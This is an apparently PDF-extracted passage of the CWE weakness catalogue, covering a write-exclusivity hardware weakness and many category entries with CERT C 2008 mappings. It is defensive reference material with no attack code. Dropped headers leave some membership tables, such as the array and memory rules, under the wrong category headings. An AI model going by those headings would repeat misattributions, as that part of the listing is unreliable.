CPUs provide a special bit that supports exclusivity of write and execute operations. This bit is used to segregate areas of memory to either mark them as code (instructions, which can be executed) or data (which should not be executed). In this way, if a user can write to a region of memory, the user cannot execute from that region and vice versa. This exclusivity provided by special hardware bit is leveraged by the operating system to protect executable space. While this bit is available in most modern processors by default, in some CPUs the exclusivity is implemented via a memory-protection unit (MPU) and memory-management unit (MMU) in which memory regions can be carved out with exact read, write, and execute permissions. However, if the CPU does not have an MMU/MPU, then there is no write exclusivity. Without configuring exclusivity of operations via segregated areas of memory, an attacker may be able to inject malicious code onto memory and later execute it.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	618

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)

**Architecture** : Architecture-Independent (*Prevalence = Undetermined*)

**Technology** : Microcontroller IP (*Prevalence = Undetermined*)

**Technology** : Processor IP (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Execute Unauthorized Code or Commands	

## Potential Mitigations

### Phase: Architecture and Design

Implement a dedicated bit that can be leveraged by the Operating System to mark data areas as non-executable. If such a bit is not available in the CPU, implement MMU/MPU (memory management unit / memory protection unit).

### Phase: Integration

If MMU/MPU are not available, then the firewalls need to be implemented in the SoC interconnect to mimic the write-exclusivity operation.

## Demonstrative Examples

### Example 1:

MCS51 Microcontroller (based on 8051) does not have a special bit to support write exclusivity. It also does not have an MMU/MPU support. The Cortex-M CPU has an optional MPU that supports up to 8 regions.

*Example Language: Other*

*(bad)*

The optional MPU is not configured.

If the MPU is not configured, then an attacker will be able to inject malicious data into memory and execute it.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## Categories

### Category-2: 7PK - Environment

Category ID : 2

Status: Draft

#### Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that are typically introduced during unexpected environmental conditions. According to the authors of the Seven Pernicious Kingdoms, "This section includes everything that is outside of the source code but is still critical to the security of the product that is being created. Because the issues covered by this kingdom are not directly related to source code, we separated it from the rest of the kingdoms."

MemberOf	C	1032	OWASP Top Ten 2017 Category A6 - Security Misconfiguration	1026	1905

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	14		Server Misconfiguration
WASC	15		Application Misconfiguration

## Notes

### Maintenance

Further discussion about this category was held over the CWE Research mailing list in early 2020. No definitive action has been decided.

### Maintenance

This entry is a Category, but various sources map to it anyway despite CWE guidance that Categories should not be mapped. In this case, there are no clear CWE Weaknesses that can be utilized. "Inappropriate Configuration" might be better described as a Weakness, so this entry might be converted to a Weakness in a later version. Further research is required, however, as a "configuration weakness" might be Primary to many other CWEs, i.e., it might be better described in terms of chaining relationships.

## Category-19: Data Processing Errors

Category ID : 19

Status: Draft

## Summary

Weaknesses in this category are typically found in functionality that processes data. Data processing is the manipulation of input to retrieve or save information.

## Category-227: 7PK - API Abuse

Category ID : 227

Status: Draft

### Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that involve the software using an API in a manner contrary to its intended use. According to the authors of the Seven Pernicious Kingdoms, "An API is a contract between a caller and a callee. The most common forms of API misuse occurs when the caller does not honor its end of this contract. For example, if a program does not call `chdir()` after calling `chroot()`, it violates the contract that specifies how to change the active root directory in a secure fashion. Another good example of library abuse is expecting the callee to return trustworthy DNS information to the caller. In this case, the caller misuses the callee API by making certain assumptions about its behavior (that the return value can be used for authentication purposes). One can also violate the caller-callee contract from the other side. For example, if a coder subclasses `SecureRandom` and returns a non-random value, the contract is violated."

## Category-265: Privilege Issues

Category ID : 265

Status: Incomplete

## Summary

Weaknesses in this category occur with improper handling, assignment, or management of privileges. A privilege is a property of an agent, such as a user. It lets the agent do things that are not ordinarily allowed. For example, there are privileges which allow an agent to perform maintenance functions such as restart a computer.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Privilege / sandbox errors

## Notes

### Relationship

This can strongly overlap authorization errors.

### Theoretical

A sandbox could be regarded as an explicitly defined sphere of control, in that the sandbox only defines a limited set of behaviors, which can only access a limited set of resources.

### Theoretical

It could be argued that any privilege problem occurs within the context of a sandbox.

### Research Gap

Many of the following concepts require deeper study. Most privilege problems are not classified at such a low level of detail, and terminology is very sparse. Certain classes of software, such as web browsers and software bug trackers, provide a rich set of examples for further research. Operating systems have matured to the point that these kinds of weaknesses are rare, but finer-grained models for privileges, capabilities, or roles might introduce subtler issues.

## Category-275: Permission Issues

Category ID : 275

Status: Draft

### Summary

Weaknesses in this category are related to improper assignment or handling of permissions.

### Membership

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Permission errors
OWASP Top Ten 2004	A2		CWE More Specific Broken Access Control
OWASP Top Ten 2004	A10		CWE More Specific Insecure Configuration Management

### Notes

#### Terminology

Permissions are associated with a resource and specify which actors are allowed to access that resource and what they are allowed to do with that access (e.g., read it, modify it). While Privileges are associated with an actor and define which behaviors or actions an actor is allowed to perform.

## Category-310: Cryptographic Issues

Category ID : 310

Status: Draft

### Summary

Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.

**Category-361: 7PK - Time and State**

**Category ID :** 361 **Status:** Incomplete

**Summary**

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses related to the improper management of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. According to the authors of the Seven Pernicious Kingdoms, "Distributed computation is about time and state. That is, in order for more than one component to communicate, state must be shared, and all that takes time. Most programmers anthropomorphize their work. They think about one thread of control carrying out the entire program in the same way they would if they had to do the job themselves. Modern computers, however, switch between tasks very quickly, and in multi-core, multi-CPU, or distributed systems, two events may take place at exactly the same time. Defects rush to fill the gap between the programmer's model of how a program executes and what happens in reality. These defects are related to unexpected interactions between threads, processes, time, and information. These interactions happen through shared state: semaphores, variables, the file system, and, basically, anything that can store information."

## Category-388: 7PK - Errors

Category ID : 388

Status: Draft

### Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that occur when an application does not properly handle errors that occur during processing. According to the authors of the Seven Pernicious Kingdoms, "Errors and error handling represent a class of API. Errors related to error handling are so common that they deserve a special kingdom of their own. As with 'API Abuse,' there are two ways to introduce an error-related security vulnerability: the most common one is handling errors poorly (or not at all). The second is producing errors that either give out too much information (to possible attackers) or are difficult to handle."

## Category-389: Error Conditions, Return Values, Status Codes

Category ID : 389

Status: Incomplete

## Summary

This category includes weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. This type of problem is most often found in conditions that are rarely encountered during the normal operation of the product. Presumably, most bugs related to common conditions are found and eliminated during development and testing. In some cases, the attacker can directly control or influence the environment to trigger the rare conditions.

Nature	Type	ID	Name	V	Page
HasMember	B	1069	Empty Exception Block	699	1666

## Notes

### Other

Many researchers focus on the resultant weaknesses and do not necessarily diagnose whether a rare condition is the primary factor. However, since 2005 it seems to be reported more frequently than in the past. This subject needs more study.

## Category-398: 7PK - Code Quality

Category ID : 398

Status: Draft

## Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that do not directly introduce a weakness or vulnerability, but indicate that the product has not been carefully developed or maintained. According to the authors of the Seven Pernicious Kingdoms, "Poor code quality leads to unpredictable behavior. From a user's perspective that often manifests itself as poor usability. For an adversary it provides an opportunity to stress the system in unexpected ways."

## Category-399: Resource Management Errors

Category ID : 399

Status: Draft

## Summary

1792

Weaknesses in this category are related to improper management of system resources.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	1948
MemberOf	V	699	Software Development	699	1952
HasMember	B	73	External Control of File Name or Path	699	125
HasMember	B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	699	874
HasMember	B	410	Insufficient Resource Pool	699	890
HasMember	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	699	994
HasMember	B	502	Deserialization of Untrusted Data	699	1070
HasMember	B	619	Dangling Database Cursor ('Cursor Injection')	699	1225
HasMember	B	641	Improper Restriction of Names for Files and Other Resources	699	1253
HasMember	B	694	Use of Multiple Resources with Duplicate Identifier	699	1343
HasMember	B	763	Release of Invalid Pointer or Reference	699	1405
HasMember	B	770	Allocation of Resources Without Limits or Throttling	699	1418
HasMember	B	771	Missing Reference to Active Allocated Resource	699	1426
HasMember	B	772	Missing Release of Resource after Effective Lifetime	699	1428
HasMember	B	826	Premature Release of Resource During Expected Lifetime	699	1521
HasMember	B	908	Use of Uninitialized Resource	699	1574
HasMember	B	909	Missing Initialization of Resource	699	1577
HasMember	B	910	Use of Expired File Descriptor	699	1580
HasMember	B	911	Improper Update of Reference Count	699	1581
HasMember	B	914	Improper Control of Dynamically-Identified Variables	699	1585
HasMember	B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	699	1587
HasMember	B	920	Improper Restriction of Power Consumption	699	1597
HasMember	B	1188	Insecure Default Initialization of Resource	699	1721

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Resource Management Errors

## Category-411: Resource Locking Problems

Category ID : 411

Status: Draft

### Summary

Weaknesses in this category are related to improper handling of locks that are used to control access to resources.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	1952
HasMember	B	412	Unrestricted Externally Accessible Lock	699	892
HasMember	B	413	Improper Resource Locking	699	894
HasMember	B	414	Missing Lock Check	699	898

Nature	Type	ID	Name	V	Page
HasMember	B	609	Double-Checked Locking	699	1208
HasMember	B	764	Multiple Locks of a Critical Resource	699	1409
HasMember	B	765	Multiple Unlocks of a Critical Resource	699	1411
HasMember	B	832	Unlock of a Resource that is not Locked	699	1538
HasMember	B	833	Deadlock	699	1539

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Resource Locking problems

## Category-417: Communication Channel Errors

Category ID : 417

Status: Draft

### Summary

Weaknesses in this category are related to improper handling of communication channels and access paths. These weaknesses include problems in creating, managing, or removing alternate channels and alternate paths. Some of these can overlap virtual file problems and are commonly used in "bypass" attacks, such as those that exploit authentication errors.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	1952
HasMember	B	322	Key Exchange without Entity Authentication	699	710
HasMember	B	346	Origin Validation Error	699	759
HasMember	B	385	Covert Timing Channel	699	840
HasMember	B	419	Unprotected Primary Channel	699	906
HasMember	B	420	Unprotected Alternate Channel	699	908
HasMember	B	425	Direct Request ('Forced Browsing')	699	913
HasMember	B	515	Covert Storage Channel	699	1085
HasMember	B	924	Improper Enforcement of Message Integrity During Transmission in a Communication Channel	699	1601
HasMember	B	940	Improper Verification of Source of a Communication Channel	699	1613
HasMember	B	941	Incorrectly Specified Destination in a Communication Channel	699	1615

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER	CHAP.VIRTFILE		Channel and Path Errors

### Notes

#### Research Gap

Most of these issues are probably under-studied. Only a handful of public reports exist.

## Category-429: Handler Errors

Category ID : 429

Status: Draft

## Summary

Weaknesses in this category are related to improper management of handlers.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	1952
HasMember	B	430	Deployment of Wrong Handler	699	928
HasMember	B	431	Missing Handler	699	929
HasMember	B	432	Dangerous Signal Handler not Disabled During Sensitive Operations	699	931
HasMember	V	433	Unparsed Raw Web Content Delivery	699	932
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	699	934
HasMember	V	479	Signal Handler Use of a Non-reentrant Function	699	1019

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Handler Errors

## Notes

### Research Gap

This concept is under-defined and needs more research.

## Category-438: Behavioral Problems

Category ID : 438

Status: Draft

## Summary

Weaknesses in this category are related to unexpected behaviors from code that an application uses.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	1952
HasMember	B	115	Misinterpretation of Input	699	258
HasMember	B	179	Incorrect Behavior Order: Early Validation	699	414
HasMember	B	408	Incorrect Behavior Order: Early Amplification	699	887
HasMember	B	437	Incomplete Model of Endpoint Features	699	945
HasMember	B	439	Behavioral Change in New Version or Environment	699	946
HasMember	B	440	Expected Behavior Violation	699	947
HasMember	B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')	699	951
HasMember	B	480	Use of Incorrect Operator	699	1021
HasMember	B	483	Incorrect Block Delimitation	699	1030
HasMember	B	484	Omitted Break Statement in Switch	699	1032
HasMember	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	699	1122
HasMember	B	698	Execution After Redirect (EAR)	699	1350
HasMember	B	733	Compiler Optimization Removal or Modification of Security-critical Code	699	1372
HasMember	B	783	Operator Precedence Logic Error	699	1450

HasMember	B	1037	Processor Optimization Removal or Modification of Security-critical Code	699	1635

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Behavioral problems

## Category-452: Initialization and Cleanup Errors

Category ID : 452

Status: Draft

### Summary

Weaknesses in this category occur in behaviors that are used for initialization and breakdown.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	1952
HasMember	B	226	Sensitive Information Uncleared in Resource Before Release for Reuse	699	516
HasMember	B	454	External Initialization of Trusted Variables or Data Stores	699	966
HasMember	B	455	Non-exit on Failed Initialization	699	968
HasMember	B	459	Incomplete Cleanup	699	976
HasMember	B	460	Improper Cleanup on Thrown Exception	699	979
HasMember	B	1051	Initialization with Hard-Coded Network Resource Configuration Data	699	1649
HasMember	B	1052	Excessive Use of Hard-Coded Literals in Initialization	699	1650
HasMember	B	1188	Insecure Default Initialization of Resource	699	1721

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Initialization and Cleanup Errors

## Category-465: Pointer Issues

Category ID : 465

Status: Draft

### Summary

Weaknesses in this category are related to improper handling of pointers.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	1952
HasMember	B	466	Return of Pointer Value Outside of Expected Range	699	986
HasMember	V	467	Use of sizeof() on a Pointer Type	699	988
HasMember	B	468	Incorrect Pointer Scaling	699	991

Nature	Type	ID	Name	V	Page
HasMember	B	469	Use of Pointer Subtraction to Determine Size		699 992
HasMember	B	476	NULL Pointer Dereference		699 1007
HasMember	B	587	Assignment of a Fixed Address to a Pointer		699 1173
HasMember	V	588	Attempt to Access Child of a Non-structure Pointer		699 1175
HasMember	B	763	Release of Invalid Pointer or Reference		699 1405
HasMember	B	822	Untrusted Pointer Dereference		699 1511
HasMember	B	823	Use of Out-of-range Pointer Offset		699 1514
HasMember	B	824	Access of Uninitialized Pointer		699 1516
HasMember	B	825	Expired Pointer Dereference		699 1519

## Category-485: 7PK - Encapsulation

Category ID : 485

Status: Draft

### Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that occur when the product does not sufficiently encapsulate critical data or functionality. According to the authors of the Seven Pernicious Kingdoms, "Encapsulation is about drawing strong boundaries. In a web browser that might mean ensuring that your mobile code cannot be abused by other mobile code. On the server it might mean differentiation between validated data and unvalidated data, between one user's data and another's, or between data users are allowed to see and data that they are not."

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	700	Seven Pernicious Kingdoms		700 1954
HasMember	V	486	Comparison of Classes by Name		700 1034
HasMember	B	488	Exposure of Data Element to Wrong Session		700 1038
HasMember	B	489	Active Debug Code		700 1040
HasMember	V	491	Public cloneable() Method Without Final ('Object Hijack')		700 1042
HasMember	V	492	Use of Inner Class Containing Sensitive Data		700 1044
HasMember	V	493	Critical Public Variable Without Final Modifier		700 1051
HasMember	V	495	Private Data Structure Returned From A Public Method		700 1057
HasMember	V	496	Public Data Assigned to Private Array-Typed Field		700 1059
HasMember	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere		700 1060
HasMember	B	501	Trust Boundary Violation		700 1069

### Notes

#### Other

The "encapsulation" term is used in multiple ways. Within some security sources, the term is used to describe the establishment of boundaries between different control spheres. Within general computing circles, it is more about hiding implementation details and maintainability than security. Even within the security usage, there is also a question of whether "encapsulation" encompasses the entire range of security problems.

## Category-735: CERT C Secure Coding Standard (2008) Chapter 2 - Preprocessor (PRE)

Category ID : 735

Status: Obsolete

## Summary

Weaknesses in this category are related to the rules and recommendations in the Preprocessor (PRE) chapter of the CERT C Secure Coding Standard (2008).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	1957
HasMember	G	684	Incorrect Provision of Specified Functionality	734	1328

## Notes

### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-684 PRE09-C Do not replace secure functions with less secure functions

## References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

## Category-736: CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)

Category ID : 736

Status: Obsolete

### Summary

Weaknesses in this category are related to the rules and recommendations in the Declarations and Initialization (DCL) chapter of the CERT C Secure Coding Standard (2008).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	1957
HasMember	V	547	Use of Hard-coded, Security-relevant Constants	734	1118
HasMember	B	628	Function Call with Incorrectly Specified Arguments	734	1240
HasMember	V	686	Function Call With Incorrect Argument Type	734	1331

### Notes

#### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-547 DCL06-C Use meaningful symbolic constants to represent literal values in program logic CWE-628 DCL10-C Maintain the contract between the writer and caller of variadic functions CWE-686 DCL35-C Do not invoke a function using a type that does not match the function definition

### References

## Category-737: CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)

Category ID : 737

Status: Obsolete

### Summary

Weaknesses in this category are related to the rules and recommendations in the Expressions (EXP) chapter of the CERT C Secure Coding Standard (2008).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	1957
HasMember	V	467	Use of sizeof() on a Pointer Type	734	988
HasMember	B	468	Incorrect Pointer Scaling	734	991
HasMember	B	476	NULL Pointer Dereference	734	1007
HasMember	B	628	Function Call with Incorrectly Specified Arguments	734	1240
HasMember	C	704	Incorrect Type Conversion or Cast	734	1354

Nature	Type	ID	Name	V	Page
HasMember	B	783	Operator Precedence Logic Error	734	1450

## Notes

### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-467 EXP01-C Do not take the size of a pointer to determine the size of the pointed-to type CWE-468 EXP08-C Ensure pointer arithmetic is used correctly CWE-476 EXP34-C Ensure a null pointer is not dereferenced CWE-628 EXP37-C Call functions with the arguments intended by the API CWE-704 EXP05-C Do not cast away a const qualification CWE-783 EXP00-C Use parentheses for precedence of operation

## Category-738: CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)

Category ID : 738

Status: Obsolete

## Summary

Weaknesses in this category are related to the rules and recommendations in the Integers (INT) chapter of the CERT C Secure Coding Standard (2008).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	1957
HasMember	C	20	Improper Input Validation	734	19
HasMember	B	129	Improper Validation of Array Index	734	312
HasMember	B	190	Integer Overflow or Wraparound	734	436
HasMember	V	192	Integer Coercion Error	734	445
HasMember	B	197	Numeric Truncation Error	734	461
HasMember	B	369	Divide By Zero	734	816
HasMember	B	466	Return of Pointer Value Outside of Expected Range	734	986
HasMember	B	587	Assignment of a Fixed Address to a Pointer	734	1173
HasMember	B	606	Unchecked Input for Loop Condition	734	1204
HasMember	B	676	Use of Potentially Dangerous Function	734	1314
HasMember	B	681	Incorrect Conversion between Numeric Types	734	1319
HasMember	P	682	Incorrect Calculation	734	1322

## Notes

### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-20 INT06-C Use strtol() or a related function to convert a string token to an integer CWE-129 INT32-C Ensure that operations on signed integers do not result in overflow CWE-190 INT03-C Use a secure integer library CWE-190 INT30-C Ensure that unsigned integer operations do not wrap CWE-190 INT32-C Ensure that operations on signed integers do not result in overflow CWE-190 INT35-C Evaluate integer expressions in a larger size before comparing or assigning to that size CWE-192 INT02-C Understand integer conversion

rules CWE-192 INT05-C Do not use input functions to convert character data if they cannot handle all possible inputs CWE-192 INT31-C Ensure that integer conversions do not result in lost or misinterpreted data CWE-197 INT02-C Understand integer conversion rules CWE-197 INT05-C Do not use input functions to convert character data if they cannot handle all possible inputs CWE-197 INT31-C Ensure that integer conversions do not result in lost or misinterpreted data CWE-369 INT33-C Ensure that division and modulo operations do not result in divide-by-zero errors CWE-466 INT11-C Take care when converting from pointer to integer or integer to pointer CWE-587 INT11-C Take care when converting from pointer to integer or integer to pointer CWE-606 INT03-C Use a secure integer library CWE-676 INT06-C Use strtol() or a related function to convert a string token to an integer CWE-681 INT15-C Use intmax\_t or uintmax\_t for formatted IO on programmer-defined integer types CWE-681 INT31-C Ensure that integer conversions do not result in lost or misinterpreted data CWE-681 INT35-C Evaluate integer expressions in a larger size before comparing or assigning to that size CWE-682 INT07-C Use only explicitly signed or unsigned char type for numeric values CWE-682 INT13-C Use bitwise operators only on unsigned operands

## Category-739: CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)

Category ID : 739

Status: Obsolete

## Summary

Weaknesses in this category are related to the rules and recommendations in the Floating Point (FLP) chapter of the CERT C Secure Coding Standard (2008).

## Membership

Nature	Type	ID	Name	W	Page
MemberOf	W	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	1957
HasMember	B	369	Divide By Zero	734	816
HasMember	B	681	Incorrect Conversion between Numeric Types	734	1319
HasMember	P	682	Incorrect Calculation	734	1322
HasMember	V	686	Function Call With Incorrect Argument Type	734	1331

## Notes

### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-369 FLP03-C Detect and handle floating point errors CWE-681 FLP33-C Convert integers to floating point for floating point operations CWE-681 FLP34-C Ensure that floating point conversions are within range of the new type CWE-682 FLP32-C Prevent or detect domain and range errors in math functions CWE-682 FLP33-C Convert integers to floating point for floating point operations CWE-686 FLP31-C Do not call functions expecting real values with complex values

MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	1957
HasMember	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	271
HasMember	B	129	Improper Validation of Array Index	734	312
HasMember	V	467	Use of sizeof() on a Pointer Type	734	988
HasMember	B	469	Use of Pointer Subtraction to Determine Size	734	992
HasMember	G	665	Improper Initialization	734	1290
HasMember	B	805	Buffer Access with Incorrect Length Value	734	1493

### Notes

#### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-119 ARR00-C Understand how arrays work CWE-119 ARR33-C Guarantee that copies are made into storage of sufficient size CWE-119 ARR34-C Ensure that array types in expressions are compatible CWE-119 ARR35-C Do not allow loops to iterate beyond the end of an array CWE-129 ARR00-C Understand how arrays work CWE-129 ARR30-C Guarantee that array indices are within the valid range CWE-129 ARR38-C Do not add or subtract an integer to a pointer if the resulting value does not refer to a valid array element CWE-467 ARR01-C Do not apply the sizeof operator to a pointer when taking the size of an array CWE-469 ARR36-C Do not subtract or compare two pointers that do not refer to the same array CWE-469 ARR37-C Do not add or subtract an integer to a pointer to a non-array object CWE-665 ARR02-C Explicitly specify array bounds, even if implicitly defined by an initializer CWE-805 ARR33-C Guarantee that copies are made into storage of sufficient size

## Category-741: CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)

Category ID : 741

Status: Obsolete

### Summary

Weaknesses in this category are related to the rules and recommendations in the Characters and Strings (STR) chapter of the CERT C Secure Coding Standard (2008).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	1957
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	734	140
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	734	180
HasMember	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	271
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	734	280
HasMember	B	135	Incorrect Calculation of Multi-Byte String Length	734	339
HasMember	B	170	Improper Null Termination	734	395
HasMember	B	193	Off-by-one Error	734	448
HasMember	B	464	Addition of Data Structure Sentinel	734	984
HasMember	V	686	Function Call With Incorrect Argument Type	734	1331
HasMember	G	704	Incorrect Type Conversion or Cast	734	1354

## Notes

### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-78 STR02-C Sanitize data passed to complex subsystems CWE-88 STR02-C Sanitize data passed to complex subsystems CWE-119 STR31-C Guarantee that storage for strings has sufficient space for character data and the null terminator CWE-119 STR32-C Null-terminate byte strings as required CWE-119 STR33-C Size wide character strings correctly CWE-120 STR35-C Do not copy data from an unbounded source to a fixed-length array CWE-135 STR33-C Size wide character strings correctly CWE-170 STR03-C Do not inadvertently truncate a null-terminated byte string CWE-170 STR32-C Null-terminate byte strings as required CWE-193 STR31-C Guarantee that storage for strings has sufficient space for character data and the null terminator CWE-464 STR03-C Do not inadvertently truncate a null-terminated byte string CWE-464 STR06-C Do not assume that strtok() leaves the parse string unchanged CWE-686 STR37-C Arguments to character handling functions must be representable as an unsigned char CWE-704 STR34-C Cast characters to unsigned types before converting to larger integer sizes CWE-704 STR37-C Arguments to character handling functions must be representable as an unsigned char

HasMember	G	754	Improper Check for Unusual or Exceptional Conditions	734	1378

## Notes

### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-20 MEM10-C Define and use a pointer validation function  
 CWE-119 MEM09-C Do not assume memory allocation routines initialize memory  
 CWE-128 MEM07-C Ensure that the arguments to `calloc()`, when multiplied, can be represented as a `size_t`  
 CWE-131 MEM35-C Allocate sufficient memory for an object  
 CWE-190 MEM07-C Ensure that the arguments to `calloc()`, when multiplied, can be represented as a `size_t`  
 CWE-190 MEM35-C Allocate sufficient memory for an object  
 CWE-226 MEM03-C Clear sensitive information stored in reusable resources returned for reuse  
 CWE-244 MEM03-C Clear sensitive information stored in reusable resources returned for reuse  
 CWE-252 MEM32-C Detect and handle memory allocation errors  
 CWE-415 MEM00-C Allocate and free memory in the same module, at the same level of abstraction  
 CWE-415 MEM01-C Store a new value in pointers immediately after `free()`  
 CWE-415 MEM31-C Free dynamically allocated memory exactly once  
 CWE-416 MEM00-C Allocate and free memory in the same module, at the same level of abstraction  
 CWE-416 MEM01-C Store a new value in pointers immediately after `free()`  
 CWE-416 MEM30-C Do not access freed memory  
 CWE-476 MEM32-C Detect and handle memory allocation errors  
 CWE-528 MEM06-C Ensure that sensitive data is not written out to disk  
 CWE-590 MEM34-C Only free memory allocated dynamically  
 CWE-591 MEM06-C Ensure that sensitive data is not written out to disk  
 CWE-628 MEM08-C Use `realloc()` only to resize dynamically allocated arrays  
 CWE-665 MEM09-C Do not assume memory allocation routines initialize memory  
 CWE-687 MEM04-C Do not perform zero length allocations  
 CWE-754 MEM32-C Detect and handle memory allocation errors

## Category-743: CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)

Category ID : 743

Status: Obsolete

### Summary

Weaknesses in this category are related to the rules and recommendations in the Input Output (FIO) chapter of the CERT C Secure Coding Standard (2008).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	1957
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	734	31
HasMember	V	37	Path Traversal: '/absolute/pathname/here'	734	73
HasMember	V	38	Path Traversal: '\\absolute\\pathname\\here'	734	75
HasMember	V	39	Path Traversal: 'C:dirname'	734	76
HasMember	B	41	Improper Resolution of Path Equivalence	734	80
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	734	105
HasMember	V	62	UNIX Hard Link	734	112
HasMember	V	64	Windows Shortcut Following (.LNK)	734	114
HasMember	V	65	Windows Hard Link	734	116
HasMember	V	67	Improper Handling of Windows Device Names	734	119
HasMember	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	271
HasMember	B	134	Use of Externally-Controlled Format String	734	334
HasMember	B	241	Improper Handling of Unexpected Data Type	734	533
HasMember	B	276	Incorrect Default Permissions	734	605
HasMember	V	279	Incorrect Execution-Assigned Permissions	734	610
HasMember	G	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	734	791
HasMember	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	734	810
HasMember	B	379	Creation of Temporary File in Directory with Insecure Permissions	734	832
HasMember	B	391	Unchecked Error Condition	734	848
HasMember	B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	734	874
